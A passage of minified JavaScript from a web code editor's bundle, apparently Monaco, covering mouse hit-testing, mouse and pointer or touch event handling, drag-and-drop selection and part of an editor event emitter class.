n.Position(t.afterLineNumber,this._context.model.getLineMaxColumn(t.afterLineNumber))),s=null===a?r:null===r?a:e<i?r:a,{viewZoneId:t.id,afterLineNumber:t.afterLineNumber,positionBefore:r,positionAfter:a,position:s}}return null},e.prototype.getFullLineRangeAtCoord=function(e){if(this._context.viewLayout.isAfterLines(e)){var t=this._context.model.getLineCount(),n=this._context.model.getLineMaxColumn(t);return{range:new i.Range(t,n,t,n),isAfterLines:!0}}var o=this._context.viewLayout.getLineNumberAtVerticalOffset(e),r=this._context.model.getLineMaxColumn(o);return{range:new i.Range(o,1,o,r),isAfterLines:!1}},e.prototype.getLineNumberAtVerticalOffset=function(e){return this._context.viewLayout.getLineNumberAtVerticalOffset(e)},e.prototype.isAfterLines=function(e){return this._context.viewLayout.isAfterLines(e)},e.prototype.getVerticalOffsetForLineNumber=function(e){return this._context.viewLayout.getVerticalOffsetForLineNumber(e)},e.prototype.findAttribute=function(t,n){return e._findAttribute(t,n,this._viewHelper.viewDomNode)},e._findAttribute=function(e,t,n){for(;e&&e!==document.body;){if(e.hasAttribute&&e.hasAttribute(t))return e.getAttribute(t);if(e===n)return null;e=e.parentNode}return null},e.prototype.getLineWidth=function(e){return this._viewHelper.getLineWidth(e)},e.prototype.visibleRangeForPosition2=function(e,t){return this._viewHelper.visibleRangeForPosition2(e,t)},e.prototype.getPositionFromDOMInfo=function(e,t){return this._viewHelper.getPositionFromDOMInfo(e,t)},e.prototype.getScrollTop=function(){return this._context.viewLayout.getScrollTop()},e.prototype.getScrollLeft=function(){return this._context.viewLayout.getScrollLeft()},e}(),h=function(e){function t(t,n,i,o){var r=e.call(this,t,n,i)||this;return r._ctx=t,o?(r.target=o,r.targetPath=a.PartFingerprints.collect(o,t.viewDomNode)):(r.target=null,r.targetPath=new Uint8Array(0)),r}return f(t,e),t.prototype.toString=function(){return\"pos(\"+this.pos.x+\",\"+this.pos.y+\"), editorPos(\"+this.editorPos.x+\",\"+this.editorPos.y+\"), mouseVerticalOffset: \"+this.mouseVerticalOffset+\", mouseContentHorizontalOffset: \"+this.mouseContentHorizontalOffset+\"\\n\\ttarget: \"+(this.target?this.target.outerHTML:null)},t.prototype.fulfill=function(e,t,n,i){return void 0===t&&(t=null),void 0===n&&(n=null),void 0===i&&(i=null),new l(this.target,e,this.mouseColumn,t,n,i)},t.prototype.withTarget=function(e){return new t(this._ctx,this.editorPos,this.pos,e)},t}(function(){return function(e,t,n){this.editorPos=t,this.pos=n,this.mouseVerticalOffset=Math.max(0,e.getScrollTop()+n.y-t.y),this.mouseContentHorizontalOffset=e.getScrollLeft()+n.x-t.x-e.layoutInfo.contentLeft,this.isInMarginArea=n.x-t.x<e.layoutInfo.contentLeft,this.isInContentArea=!this.isInMarginArea,this.mouseColumn=Math.max(0,p._getMouseColumn(this.mouseContentHorizontalOffset,e.typicalHalfwidthCharacterWidth))}}()),p=function(){function e(e,t){this._context=e,this._viewHelper=t}return e.prototype.mouseTargetIsWidget=function(e){var t=e.target,n=a.PartFingerprints.collect(t,this._viewHelper.viewDomNode);return!(!c.isChildOfContentWidgets(n)&&!c.isChildOfOverflowingContentWidgets(n))||!!c.isChildOfOverlayWidgets(n)},e.prototype.createMouseTarget=function(t,n,i,r){var s=new d(this._context,this._viewHelper,t),a=new h(s,n,i,r);try{return e._createMouseTarget(s,a,!1)}catch(e){return a.fulfill(o.MouseTargetType.UNKNOWN)}},e._createMouseTarget=function(t,n,i){if(null===n.target){if(i)return n.fulfill(o.MouseTargetType.UNKNOWN);var r=e._doHitTest(t,n);return r.position?e.createMouseTargetFromHitTestPosition(t,n,r.position.lineNumber,r.position.column):this._createMouseTarget(t,n.withTarget(r.hitTarget),!0)}var s=null;return s=s||e._hitTestContentWidget(t,n),s=s||e._hitTestOverlayWidget(t,n),s=s||e._hitTestMinimap(t,n),s=s||e._hitTestScrollbarSlider(t,n),s=s||e._hitTestViewZone(t,n),s=s||e._hitTestMargin(t,n),s=s||e._hitTestViewCursor(t,n),s=s||e._hitTestTextArea(t,n),s=s||e._hitTestViewLines(t,n,i),(s=s||e._hitTestScrollbar(t,n))||n.fulfill(o.MouseTargetType.UNKNOWN)},e._hitTestContentWidget=function(e,t){if(c.isChildOfContentWidgets(t.targetPath)||c.isChildOfOverflowingContentWidgets(t.targetPath)){var n=e.findAttribute(t.target,\"widgetId\");return n?t.fulfill(o.MouseTargetType.CONTENT_WIDGET,null,null,n):t.fulfill(o.MouseTargetType.UNKNOWN)}return null},e._hitTestOverlayWidget=function(e,t){if(c.isChildOfOverlayWidgets(t.targetPath)){var n=e.findAttribute(t.target,\"widgetId\");return n?t.fulfill(o.MouseTargetType.OVERLAY_WIDGET,null,null,n):t.fulfill(o.MouseTargetType.UNKNOWN)}return null},e._hitTestViewCursor=function(e,t){if(t.target)for(var n=0,i=(s=e.lastViewCursorsRenderData).length;n<i;n++){var r=s[n];if(t.target===r.domNode)return t.fulfill(o.MouseTargetType.CONTENT_TEXT,r.position)}if(t.isInContentArea)for(var s=e.lastViewCursorsRenderData,a=t.mouseContentHorizontalOffset,u=t.mouseVerticalOffset,n=0,i=s.length;n<i;n++)if(!(a<(r=s[n]).contentLeft||a>r.contentLeft+r.width)){var l=e.getVerticalOffsetForLineNumber(r.position.lineNumber);if(l<=u&&u<=l+r.height)return t.fulfill(o.MouseTargetType.CONTENT_TEXT,r.position)}return null},e._hitTestViewZone=function(e,t){var n=e.getZoneAtCoord(t.mouseVerticalOffset);if(n){var i=t.isInContentArea?o.MouseTargetType.CONTENT_VIEW_ZONE:o.MouseTargetType.GUTTER_VIEW_ZONE;return t.fulfill(i,n.position,null,n)}return null},e._hitTestTextArea=function(e,t){return c.isTextArea(t.targetPath)?t.fulfill(o.MouseTargetType.TEXTAREA):null},e._hitTestMargin=function(e,t){if(t.isInMarginArea){var n=e.getFullLineRangeAtCoord(t.mouseVerticalOffset),i=n.range.getStartPosition(),r=Math.abs(t.pos.x-t.editorPos.x);return r<=e.layoutInfo.glyphMarginWidth?t.fulfill(o.MouseTargetType.GUTTER_GLYPH_MARGIN,i,n.range,n.isAfterLines):(r-=e.layoutInfo.glyphMarginWidth)<=e.layoutInfo.lineNumbersWidth?t.fulfill(o.MouseTargetType.GUTTER_LINE_NUMBERS,i,n.range,n.isAfterLines):(r-=e.layoutInfo.lineNumbersWidth,t.fulfill(o.MouseTargetType.GUTTER_LINE_DECORATIONS,i,n.range,n.isAfterLines))}return null},e._hitTestViewLines=function(t,i,r){if(!c.isChildOfViewLines(i.targetPath))return null;if(t.isAfterLines(i.mouseVerticalOffset)){var s=t.model.getLineCount(),a=t.model.getLineMaxColumn(s);return i.fulfill(o.MouseTargetType.CONTENT_EMPTY,new n.Position(s,a))}if(r)return i.fulfill(o.MouseTargetType.UNKNOWN);var u=e._doHitTest(t,i);return u.position?e.createMouseTargetFromHitTestPosition(t,i,u.position.lineNumber,u.position.column):this._createMouseTarget(t,i.withTarget(u.hitTarget),!0)},e._hitTestMinimap=function(e,t){if(c.isChildOfMinimap(t.targetPath)){var i=e.getLineNumberAtVerticalOffset(t.mouseVerticalOffset),r=e.model.getLineMaxColumn(i);return t.fulfill(o.MouseTargetType.SCROLLBAR,new n.Position(i,r))}return null},e._hitTestScrollbarSlider=function(e,t){if(c.isChildOfScrollableElement(t.targetPath)&&t.target&&1===t.target.nodeType){var i=t.target.className;if(i&&/\\b(slider|scrollbar)\\b/.test(i)){var r=e.getLineNumberAtVerticalOffset(t.mouseVerticalOffset),s=e.model.getLineMaxColumn(r);return t.fulfill(o.MouseTargetType.SCROLLBAR,new n.Position(r,s))}}return null},e._hitTestScrollbar=function(e,t){if(c.isChildOfScrollableElement(t.targetPath)){var i=e.getLineNumberAtVerticalOffset(t.mouseVerticalOffset),r=e.model.getLineMaxColumn(i);return t.fulfill(o.MouseTargetType.SCROLLBAR,new n.Position(i,r))}return null},e.prototype.getMouseColumn=function(t,n){var i=this._context.configuration.editor.layoutInfo,o=this._context.viewLayout.getScrollLeft()+n.x-t.x-i.contentLeft;return e._getMouseColumn(o,this._context.configuration.editor.fontInfo.typicalHalfwidthCharacterWidth)},e._getMouseColumn=function(e,t){return e<0?1:Math.round(e/t)+1},e.createMouseTargetFromHitTestPosition=function(e,t,r,a){var u=new n.Position(r,a),l=e.getLineWidth(r);if(t.mouseContentHorizontalOffset>l)return s.isEdge&&1===u.column?t.fulfill(o.MouseTargetType.CONTENT_EMPTY,new n.Position(r,e.model.getLineMaxColumn(r))):t.fulfill(o.MouseTargetType.CONTENT_EMPTY,u);var c=e.visibleRangeForPosition2(r,a);if(!c)return t.fulfill(o.MouseTargetType.UNKNOWN,u);var d=c.left;if(t.mouseContentHorizontalOffset===d)return t.fulfill(o.MouseTargetType.CONTENT_TEXT,u);var h;if(a>1){var p=c.left;if(h=!1,h=h||p<t.mouseContentHorizontalOffset&&t.mouseContentHorizontalOffset<d,h=h||d<t.mouseContentHorizontalOffset&&t.mouseContentHorizontalOffset<p){m=new i.Range(r,a,r,a-1);return t.fulfill(o.MouseTargetType.CONTENT_TEXT,u,m)}}if(a<e.model.getLineMaxColumn(r)){var f=e.visibleRangeForPosition2(r,a+1);if(f){var g=f.left;if(h=!1,h=h||d<t.mouseContentHorizontalOffset&&t.mouseContentHorizontalOffset<g,h=h||g<t.mouseContentHorizontalOffset&&t.mouseContentHorizontalOffset<d){var m=new i.Range(r,a,r,a+1);return t.fulfill(o.MouseTargetType.CONTENT_TEXT,u,m)}}}return t.fulfill(o.MouseTargetType.CONTENT_TEXT,u)},e._doHitTestWithCaretRangeFromPoint=function(e,t){var n=e.getLineNumberAtVerticalOffset(t.mouseVerticalOffset),i=e.getVerticalOffsetForLineNumber(n)+Math.floor(e.lineHeight/2),o=t.pos.y+(i-t.mouseVerticalOffset);o<=t.editorPos.y&&(o=t.editorPos.y+1),o>=t.editorPos.y+e.layoutInfo.height&&(o=t.editorPos.y+e.layoutInfo.height-1);var s=new r.PageCoordinates(t.pos.x,o),a=this._actualDoHitTestWithCaretRangeFromPoint(e,s.toClientCoordinates());return a.position?a:this._actualDoHitTestWithCaretRangeFromPoint(e,t.pos.toClientCoordinates())},e._actualDoHitTestWithCaretRangeFromPoint=function(e,t){var n=document.caretRangeFromPoint(t.clientX,t.clientY);if(!n||!n.startContainer)return{position:null,hitTarget:null};var i,o=n.startContainer;if(o.nodeType===o.TEXT_NODE){var r=(a=(s=o.parentNode)?s.parentNode:null)?a.parentNode:null;if((r&&r.nodeType===r.ELEMENT_NODE?r.className:null)===u.ViewLine.CLASS_NAME)return{position:l=e.getPositionFromDOMInfo(s,n.startOffset),hitTarget:null};i=o.parentNode}else if(o.nodeType===o.ELEMENT_NODE){var s=o.parentNode,a=s?s.parentNode:null;if((a&&a.nodeType===a.ELEMENT_NODE?a.className:null)===u.ViewLine.CLASS_NAME){var l=e.getPositionFromDOMInfo(o,o.textContent.length);return{position:l,hitTarget:null}}i=o}return{position:null,hitTarget:i}},e._doHitTestWithCaretPositionFromPoint=function(e,t){var n=document.caretPositionFromPoint(t.clientX,t.clientY);if(n.offsetNode.nodeType===n.offsetNode.TEXT_NODE){var i=n.offsetNode.parentNode,o=i?i.parentNode:null,r=o?o.parentNode:null;return(r&&r.nodeType===r.ELEMENT_NODE?r.className:null)===u.ViewLine.CLASS_NAME?{position:e.getPositionFromDOMInfo(n.offsetNode.parentNode,n.offset),hitTarget:null}:{position:null,hitTarget:n.offsetNode.parentNode}}return{position:null,hitTarget:n.offsetNode}},e._doHitTestWithMoveToPoint=function(e,t){var n=null,i=null,o=document.body.createTextRange();try{o.moveToPoint(t.clientX,t.clientY)}catch(e){return{position:null,hitTarget:null}}o.collapse(!0);var r=o?o.parentElement():null,s=r?r.parentNode:null,a=s?s.parentNode:null;if((a&&a.nodeType===a.ELEMENT_NODE?a.className:\"\")===u.ViewLine.CLASS_NAME){var l=o.duplicate();l.moveToElementText(r),l.setEndPoint(\"EndToStart\",o),n=e.getPositionFromDOMInfo(r,l.text.length),l.moveToElementText(e.viewDomNode)}else i=r;return o.moveToElementText(e.viewDomNode),{position:n,hitTarget:i}},e._doHitTest=function(e,t){return document.caretRangeFromPoint?this._doHitTestWithCaretRangeFromPoint(e,t):document.caretPositionFromPoint?this._doHitTestWithCaretPositionFromPoint(e,t.pos.toClientCoordinates()):document.body.createTextRange?this._doHitTestWithMoveToPoint(e,t.pos.toClientCoordinates()):{position:null,hitTarget:null}},e}();t.MouseTargetFactory=p}),define(d[489],h([1,0,3,15,28,4,12,22,82,186,25,18,114,47,135]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g){\"use strict\";function m(e){return function(t,n){var i=!1;return e&&(i=e.mouseTargetIsWidget(n)),i||n.preventDefault(),n}}Object.defineProperty(t,\"__esModule\",{value:!0});var v=function(e){function t(n,i,o){var s=e.call(this)||this;s._isFocused=!1,s._context=n,s.viewController=i,s.viewHelper=o,s.mouseTargetFactory=new l.MouseTargetFactory(s._context,o),s._mouseDownOperation=s._register(new _(s._context,s.viewController,s.viewHelper,function(e,t){return s._createMouseTarget(e,t)},function(e){return s._getMouseColumn(e)})),s._asyncFocus=s._register(new d.RunOnceScheduler(function(){return s.viewHelper.focusTextArea()},0)),s.lastMouseLeaveTime=-1;var a=new h.EditorMouseEventFactory(s.viewHelper.viewDomNode);s._register(a.onContextMenu(s.viewHelper.viewDomNode,function(e){return s._onContextMenu(e,!0)})),s._register(a.onMouseMoveThrottled(s.viewHelper.viewDomNode,function(e){return s._onMouseMove(e)},m(s.mouseTargetFactory),t.MOUSE_MOVE_MINIMUM_TIME)),s._register(a.onMouseUp(s.viewHelper.viewDomNode,function(e){return s._onMouseUp(e)})),s._register(a.onMouseLeave(s.viewHelper.viewDomNode,function(e){return s._onMouseLeave(e)})),s._register(a.onMouseDown(s.viewHelper.viewDomNode,function(e){return s._onMouseDown(e)}));var u=function(e){if(s._context.configuration.editor.viewInfo.mouseWheelZoom){var t=new p.StandardMouseWheelEvent(e);if(t.browserEvent.ctrlKey||t.browserEvent.metaKey){var n=g.EditorZoom.getZoomLevel(),i=t.deltaY>0?1:-1;g.EditorZoom.setZoomLevel(n+i),t.preventDefault(),t.stopPropagation()}}};return s._register(r.addDisposableListener(s.viewHelper.viewDomNode,\"mousewheel\",u,!0)),s._register(r.addDisposableListener(s.viewHelper.viewDomNode,\"DOMMouseScroll\",u,!0)),s._context.addEventHandler(s),s}return f(t,e),t.prototype.dispose=function(){this._context.removeEventHandler(this),e.prototype.dispose.call(this)},t.prototype.onCursorStateChanged=function(e){return this._mouseDownOperation.onCursorStateChanged(e),!1},t.prototype.onFocusChanged=function(e){return this._isFocused=e.isFocused,!1},t.prototype.onScrollChanged=function(e){return this._mouseDownOperation.onScrollChanged(),!1},t.prototype.getTargetAtClientPoint=function(e,t){var n=new h.ClientCoordinates(e,t).toPageCoordinates(),i=h.createEditorPagePosition(this.viewHelper.viewDomNode);if(n.y<i.y||n.y>i.y+i.height||n.x<i.x||n.x>i.x+i.width)return null;var o=this.viewHelper.getLastViewCursorsRenderData();return this.mouseTargetFactory.createMouseTarget(o,i,n,null)},t.prototype._createMouseTarget=function(e,t){var n=this.viewHelper.getLastViewCursorsRenderData();return this.mouseTargetFactory.createMouseTarget(n,e.editorPos,e.pos,t?e.target:null)},t.prototype._getMouseColumn=function(e){return this.mouseTargetFactory.getMouseColumn(e.editorPos,e.pos)},t.prototype._onContextMenu=function(e,t){this.viewController.emitContextMenu({event:e,target:this._createMouseTarget(e,t)})},t.prototype._onMouseMove=function(e){this._mouseDownOperation.isActive()||e.timestamp<this.lastMouseLeaveTime||this.viewController.emitMouseMove({event:e,target:this._createMouseTarget(e,!0)})},t.prototype._onMouseLeave=function(e){this.lastMouseLeaveTime=(new Date).getTime(),this.viewController.emitMouseLeave({event:e,target:null})},t.prototype._onMouseUp=function(e){this.viewController.emitMouseUp({event:e,target:this._createMouseTarget(e,!0)})},t.prototype._onMouseDown=function(e){var t=this,n=this._createMouseTarget(e,!0),r=n.type===c.MouseTargetType.CONTENT_TEXT||n.type===c.MouseTargetType.CONTENT_EMPTY,s=n.type===c.MouseTargetType.GUTTER_GLYPH_MARGIN||n.type===c.MouseTargetType.GUTTER_LINE_NUMBERS||n.type===c.MouseTargetType.GUTTER_LINE_DECORATIONS,a=n.type===c.MouseTargetType.GUTTER_LINE_NUMBERS,u=this._context.configuration.editor.viewInfo.selectOnLineNumbers,l=n.type===c.MouseTargetType.CONTENT_VIEW_ZONE||n.type===c.MouseTargetType.GUTTER_VIEW_ZONE,d=n.type===c.MouseTargetType.CONTENT_WIDGET,h=e.leftButton;i.isMacintosh&&e.ctrlKey&&(h=!1);var p=function(){o.isIE&&!t._isFocused?t._asyncFocus.schedule():(e.preventDefault(),t.viewHelper.focusTextArea())};if(h&&(r||a&&u))p(),this._mouseDownOperation.start(n.type,e);else if(s)e.preventDefault();else if(l){var f=n.detail;this.viewHelper.shouldSuppressMouseDownOnViewZone(f.viewZoneId)&&(p(),this._mouseDownOperation.start(n.type,e),e.preventDefault())}else d&&this.viewHelper.shouldSuppressMouseDownOnWidget(n.detail)&&(p(),e.preventDefault());this.viewController.emitMouseDown({event:e,target:n})},t.MOUSE_MOVE_MINIMUM_TIME=100,t}(u.ViewEventHandler);t.MouseHandler=v;var _=function(e){function t(t,n,i,o,r){var s=e.call(this)||this;return s._context=t,s._viewController=n,s._viewHelper=i,s._createMouseTarget=o,s._getMouseColumn=r,s._mouseMoveMonitor=s._register(new h.GlobalEditorMouseMoveMonitor(s._viewHelper.viewDomNode)),s._onScrollTimeout=s._register(new d.TimeoutTimer),s._mouseState=new y,s._currentSelection=new a.Selection(1,1,1,1),s._isActive=!1,s._lastMouseEvent=null,s}return f(t,e),t.prototype.dispose=function(){e.prototype.dispose.call(this)},t.prototype.isActive=function(){return this._isActive},t.prototype._onMouseDownThenMove=function(e){this._lastMouseEvent=e,this._mouseState.setModifiers(e);var t=this._findMousePosition(e,!0);t&&(this._mouseState.isDragAndDrop?this._viewController.emitMouseDrag({event:e,target:t}):this._dispatchMouse(t,!0))},t.prototype.start=function(e,t){var n=this;this._lastMouseEvent=t,this._mouseState.setStartedOnLineNumbers(e===c.MouseTargetType.GUTTER_LINE_NUMBERS),this._mouseState.setModifiers(t);var i=this._findMousePosition(t,!0);if(i){if(this._mouseState.trySetCount(t.detail,i.position),t.detail=this._mouseState.count,!this._context.configuration.editor.readOnly&&this._context.configuration.editor.dragAndDrop&&!this._mouseState.altKey&&t.detail<2&&!this._isActive&&!this._currentSelection.isEmpty()&&this._currentSelection.containsPosition(i.position))return this._mouseState.isDragAndDrop=!0,this._isActive=!0,void this._mouseMoveMonitor.startMonitoring(m(null),function(e){return n._onMouseDownThenMove(e)},function(){var e=n._findMousePosition(n._lastMouseEvent,!0);n._viewController.emitMouseDrop({event:n._lastMouseEvent,target:e?n._createMouseTarget(n._lastMouseEvent,!0):null}),n._stop()});this._mouseState.isDragAndDrop=!1,this._dispatchMouse(i,t.shiftKey),this._isActive||(this._isActive=!0,this._mouseMoveMonitor.startMonitoring(m(null),function(e){return n._onMouseDownThenMove(e)},function(){return n._stop()}))}},t.prototype._stop=function(){this._isActive=!1,this._onScrollTimeout.cancel()},t.prototype.onScrollChanged=function(){var e=this;this._isActive&&this._onScrollTimeout.setIfNotSet(function(){var t=e._findMousePosition(e._lastMouseEvent,!1);t&&(e._mouseState.isDragAndDrop||e._dispatchMouse(t,!0))},10)},t.prototype.onCursorStateChanged=function(e){this._currentSelection=e.selections[0]},t.prototype._getPositionOutsideEditor=function(e){var t=e.editorPos,n=this._context.model,i=this._context.viewLayout,o=this._getMouseColumn(e);if(e.posy<t.y){var r=i.getLineNumberAtVerticalOffset(Math.max(i.getScrollTop()-(t.y-e.posy),0));return new l.MouseTarget(null,c.MouseTargetType.OUTSIDE_EDITOR,o,new s.Position(r,1))}if(e.posy>t.y+t.height){var a=i.getLineNumberAtVerticalOffset(i.getScrollTop()+(e.posy-t.y));return new l.MouseTarget(null,c.MouseTargetType.OUTSIDE_EDITOR,o,new s.Position(a,n.getLineMaxColumn(a)))}var u=i.getLineNumberAtVerticalOffset(i.getScrollTop()+(e.posy-t.y));return e.posx<t.x?new l.MouseTarget(null,c.MouseTargetType.OUTSIDE_EDITOR,o,new s.Position(u,1)):e.posx>t.x+t.width?new l.MouseTarget(null,c.MouseTargetType.OUTSIDE_EDITOR,o,new s.Position(u,n.getLineMaxColumn(u))):null},t.prototype._findMousePosition=function(e,t){var n=this._getPositionOutsideEditor(e);if(n)return n;var i=this._createMouseTarget(e,t);if(!i.position)return null;if(i.type===c.MouseTargetType.CONTENT_VIEW_ZONE||i.type===c.MouseTargetType.GUTTER_VIEW_ZONE){var o=new s.Position(this._currentSelection.selectionStartLineNumber,this._currentSelection.selectionStartColumn),r=i.detail,a=r.positionBefore,u=r.positionAfter;if(a&&u)return a.isBefore(o)?new l.MouseTarget(i.element,i.type,i.mouseColumn,a,null,i.detail):new l.MouseTarget(i.element,i.type,i.mouseColumn,u,null,i.detail)}return i},t.prototype._dispatchMouse=function(e,t){this._viewController.dispatchMouse({position:e.position,mouseColumn:e.mouseColumn,startedOnLineNumbers:this._mouseState.startedOnLineNumbers,inSelectionMode:t,mouseDownCount:this._mouseState.count,altKey:this._mouseState.altKey,ctrlKey:this._mouseState.ctrlKey,metaKey:this._mouseState.metaKey,shiftKey:this._mouseState.shiftKey})},t}(n.Disposable),y=function(){function e(){this._altKey=!1,this._ctrlKey=!1,this._metaKey=!1,this._shiftKey=!1,this._startedOnLineNumbers=!1,this._lastMouseDownPosition=null,this._lastMouseDownPositionEqualCount=0,this._lastMouseDownCount=0,this._lastSetMouseDownCountTime=0,this.isDragAndDrop=!1}return Object.defineProperty(e.prototype,\"altKey\",{get:function(){return this._altKey},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"ctrlKey\",{get:function(){return this._ctrlKey},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"metaKey\",{get:function(){return this._metaKey},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"shiftKey\",{get:function(){return this._shiftKey},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"startedOnLineNumbers\",{get:function(){return this._startedOnLineNumbers},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"count\",{get:function(){return this._lastMouseDownCount},enumerable:!0,configurable:!0}),e.prototype.setModifiers=function(e){this._altKey=e.altKey,this._ctrlKey=e.ctrlKey,this._metaKey=e.metaKey,this._shiftKey=e.shiftKey},e.prototype.setStartedOnLineNumbers=function(e){this._startedOnLineNumbers=e},e.prototype.trySetCount=function(t,n){var i=(new Date).getTime();i-this._lastSetMouseDownCountTime>e.CLEAR_MOUSE_DOWN_COUNT_TIME&&(t=1),this._lastSetMouseDownCountTime=i,t>this._lastMouseDownCount+1&&(t=this._lastMouseDownCount+1),this._lastMouseDownPosition&&this._lastMouseDownPosition.equals(n)?this._lastMouseDownPositionEqualCount++:this._lastMouseDownPositionEqualCount=1,this._lastMouseDownPosition=n,this._lastMouseDownCount=Math.min(t,this._lastMouseDownPositionEqualCount)},e.CLEAR_MOUSE_DOWN_COUNT_TIME=400,e}()}),define(d[490],h([1,0,4,74,489,114]),function(e,t,n,i,o,r){\"use strict\";function s(e,t){var n={translationY:t.translationY,translationX:t.translationX};return e&&(n.translationY+=e.translationY,n.translationX+=e.translationX),n}Object.defineProperty(t,\"__esModule\",{value:!0});var a=function(e){function t(t,i,o){var r=e.call(this,t,i,o)||this;return r.viewHelper.linesContentDomNode.style.msTouchAction=\"none\",r.viewHelper.linesContentDomNode.style.msContentZooming=\"none\",r._installGestureHandlerTimeout=window.setTimeout(function(){if(r._installGestureHandlerTimeout=-1,window.MSGesture){var e=new MSGesture,t=new MSGesture;e.target=r.viewHelper.linesContentDomNode,t.target=r.viewHelper.linesContentDomNode,r.viewHelper.linesContentDomNode.addEventListener(\"MSPointerDown\",function(n){var i=n.pointerType;i!==(n.MSPOINTER_TYPE_MOUSE||\"mouse\")?i===(n.MSPOINTER_TYPE_TOUCH||\"touch\")?(r._lastPointerType=\"touch\",e.addPointer(n.pointerId)):(r._lastPointerType=\"pen\",t.addPointer(n.pointerId)):r._lastPointerType=\"mouse\"}),r._register(n.addDisposableThrottledListener(r.viewHelper.linesContentDomNode,\"MSGestureChange\",function(e){return r._onGestureChange(e)},s)),r._register(n.addDisposableListener(r.viewHelper.linesContentDomNode,\"MSGestureTap\",function(e){return r._onCaptureGestureTap(e)},!0))}},100),r._lastPointerType=\"mouse\",r}return f(t,e),t.prototype._onMouseDown=function(t){\"mouse\"===this._lastPointerType&&e.prototype._onMouseDown.call(this,t)},t.prototype._onCaptureGestureTap=function(e){var t=this,n=new r.EditorMouseEvent(e,this.viewHelper.viewDomNode),i=this._createMouseTarget(n,!1);i.position&&this.viewController.moveTo(i.position),n.browserEvent.fromElement?(n.preventDefault(),this.viewHelper.focusTextArea()):setTimeout(function(){t.viewHelper.focusTextArea()})},t.prototype._onGestureChange=function(e){var t=this._context.viewLayout;t.setScrollPosition({scrollLeft:t.getScrollLeft()-e.translationX,scrollTop:t.getScrollTop()-e.translationY})},t.prototype.dispose=function(){window.clearTimeout(this._installGestureHandlerTimeout),e.prototype.dispose.call(this)},t}(o.MouseHandler),u=function(e){function t(t,i,o){var r=e.call(this,t,i,o)||this;return r.viewHelper.linesContentDomNode.style.touchAction=\"none\",r._installGestureHandlerTimeout=window.setTimeout(function(){if(r._installGestureHandlerTimeout=-1,window.MSGesture){var e=new MSGesture,t=new MSGesture;e.target=r.viewHelper.linesContentDomNode,t.target=r.viewHelper.linesContentDomNode,r.viewHelper.linesContentDomNode.addEventListener(\"pointerdown\",function(n){var i=n.pointerType;\"mouse\"!==i?\"touch\"===i?(r._lastPointerType=\"touch\",e.addPointer(n.pointerId)):(r._lastPointerType=\"pen\",t.addPointer(n.pointerId)):r._lastPointerType=\"mouse\"}),r._register(n.addDisposableThrottledListener(r.viewHelper.linesContentDomNode,\"MSGestureChange\",function(e){return r._onGestureChange(e)},s)),r._register(n.addDisposableListener(r.viewHelper.linesContentDomNode,\"MSGestureTap\",function(e){return r._onCaptureGestureTap(e)},!0))}},100),r._lastPointerType=\"mouse\",r}return f(t,e),t.prototype._onMouseDown=function(t){\"mouse\"===this._lastPointerType&&e.prototype._onMouseDown.call(this,t)},t.prototype._onCaptureGestureTap=function(e){var t=this,n=new r.EditorMouseEvent(e,this.viewHelper.viewDomNode),i=this._createMouseTarget(n,!1);i.position&&this.viewController.moveTo(i.position),n.browserEvent.fromElement?(n.preventDefault(),this.viewHelper.focusTextArea()):setTimeout(function(){t.viewHelper.focusTextArea()})},t.prototype._onGestureChange=function(e){var t=this._context.viewLayout;t.setScrollPosition({scrollLeft:t.getScrollLeft()-e.translationX,scrollTop:t.getScrollTop()-e.translationY})},t.prototype.dispose=function(){window.clearTimeout(this._installGestureHandlerTimeout),e.prototype.dispose.call(this)},t}(o.MouseHandler),l=function(e){function t(t,o,s){var a=e.call(this,t,o,s)||this;return a.gesture=new i.Gesture(a.viewHelper.linesContentDomNode),a._register(n.addDisposableListener(a.viewHelper.linesContentDomNode,i.EventType.Tap,function(e){return a.onTap(e)})),a._register(n.addDisposableListener(a.viewHelper.linesContentDomNode,i.EventType.Change,function(e){return a.onChange(e)})),a._register(n.addDisposableListener(a.viewHelper.linesContentDomNode,i.EventType.Contextmenu,function(e){return a._onContextMenu(new r.EditorMouseEvent(e,a.viewHelper.viewDomNode),!1)})),a}return f(t,e),t.prototype.dispose=function(){this.gesture.dispose(),e.prototype.dispose.call(this)},t.prototype.onTap=function(e){e.preventDefault(),this.viewHelper.focusTextArea();var t=this._createMouseTarget(new r.EditorMouseEvent(e,this.viewHelper.viewDomNode),!1);t.position&&this.viewController.moveTo(t.position)},t.prototype.onChange=function(e){var t=this._context.viewLayout;t.setScrollPosition({scrollLeft:t.getScrollLeft()-e.translationX,scrollTop:t.getScrollTop()-e.translationY})},t}(o.MouseHandler),c=function(){function e(e,t,n){window.navigator.msPointerEnabled?this.handler=new a(e,t,n):window.TouchEvent?this.handler=new l(e,t,n):window.navigator.pointerEnabled?this.handler=new u(e,t,n):this.handler=new o.MouseHandler(e,t,n)}return e.prototype.getTargetAtClientPoint=function(e,t){return this.handler.getTargetAtClientPoint(e,t)},e.prototype.dispose=function(){this.handler.dispose()},e}();t.PointerHandler=c}),define(d[491],h([1,0,3,186,11]),function(e,t,n,i,o){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(e){function t(t){var n=e.call(this)||this;return n._onDidScroll=n._register(new o.Emitter),n.onDidScroll=n._onDidScroll.event,n._onDidGainFocus=n._register(new o.Emitter),n.onDidGainFocus=n._onDidGainFocus.event,n._onDidLoseFocus=n._register(new o.Emitter),n.onDidLoseFocus=n._onDidLoseFocus.event,n._onKeyDown=n._register(new o.Emitter),n.onKeyDown=n._onKeyDown.event,n._onKeyUp=n._register(new o.Emitter),n.onKeyUp=n._onKeyUp.event,n._onContextMenu=n._register(new o.Emitter),n.onContextMenu=n._onContextMenu.event,n._onMouseMove=n._register(new o.Emitter),n.onMouseMove=n._onMouseMove.event,n._onMouseLeave=n._register(new o.Emitter),n.onMouseLeave=n._onMouseLeave.event,n._onMouseUp=n._register(new o.Emitter),n.onMouseUp=n._onMouseUp.event,n._onMouseDown=n._register(new o.Emitter),n.onMouseDown=n._onMouseDown.event,n._onMouseDrag=n._register(new o.Emitter),n.onMouseDrag=n._onMouseDrag.event,n._onMouseDrop=n._register(new o.Emitter),n.onMouseDrop=n._onMouseDrop.event,n._viewModel=t,n}return 